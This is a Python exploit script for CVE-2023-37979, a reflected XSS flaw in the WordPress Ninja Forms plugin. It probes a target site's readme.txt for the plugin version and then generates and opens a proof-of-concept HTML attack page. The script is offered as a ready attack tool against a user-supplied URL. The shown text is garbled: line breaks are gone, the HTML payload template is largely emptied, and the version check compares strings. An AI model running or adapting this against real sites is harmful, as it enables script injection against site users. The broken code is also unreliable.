from argparse import ArgumentParser from os import getcwd, path from re import search import sys import webbrowser from time import sleep from requests import get, RequestException # Constants CVE_NAME = "CVE-2023-37979" VULNERABLE_VERSION = "3.6.25" HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"} def generate_exploit_html(target_url): html_template = f""" {CVE_NAME}
Ninja-forms reflected XSS ({CVE_NAME})
If you received a 0 or an empty page, login may be required.
""" file_path = path.join(getcwd(), f"{CVE_NAME}.html") with open(file_path, "w") as poc: poc.write(html_template) print(f"[@] POC Generated at {file_path}") sleep(2) webbrowser.open(file_path) def check_vulnerability(target_url): try: response = get(f"{target_url}/wp-content/plugins/ninja-forms/readme.txt", headers=HEADERS) if response.status_code != 200 or "Ninja Forms" not in response.text: print("[!] Ninja-forms plugin is not installed on this site.") return False match = search(r"Stable tag:\s*([\d.]+)", response.text) if not match: print("[!] Unable to determine the plugin version.") return False version = match.group(1) print(f"[*] Detected Ninja-forms version: {version}") if version <= VULNERABLE_VERSION: print(f"[+] This version ({version}) is vulnerable!") return True else: print(f"[-] This version ({version}) is NOT vulnerable.") return False except RequestException as error: print(f"[!] HTTP Request Error: {error}") sys.exit(1) def main(): parser = ArgumentParser(description=f"{CVE_NAME} Exploit Script") parser.add_argument("target", help="Target URL (e.g., https://vulnsite.com)") parser.add_argument("--exploit", action="store_true", help="Generate and open PoC HTML file") args = parser.parse_args() target_url = args.target.rstrip("/") if not target_url.startswith(("http://", "https://")): print("[!] Invalid target: The URL must start with 'http://' or 'https://'.") sys.exit(1) print("[*] Checking the target for vulnerability...") if check_vulnerability(target_url): if args.exploit: generate_exploit_html(target_url) else: print("[*] Run with '--exploit' to generate and execute the PoC.") else: sys.exit(1) if __name__ == "__main__": main()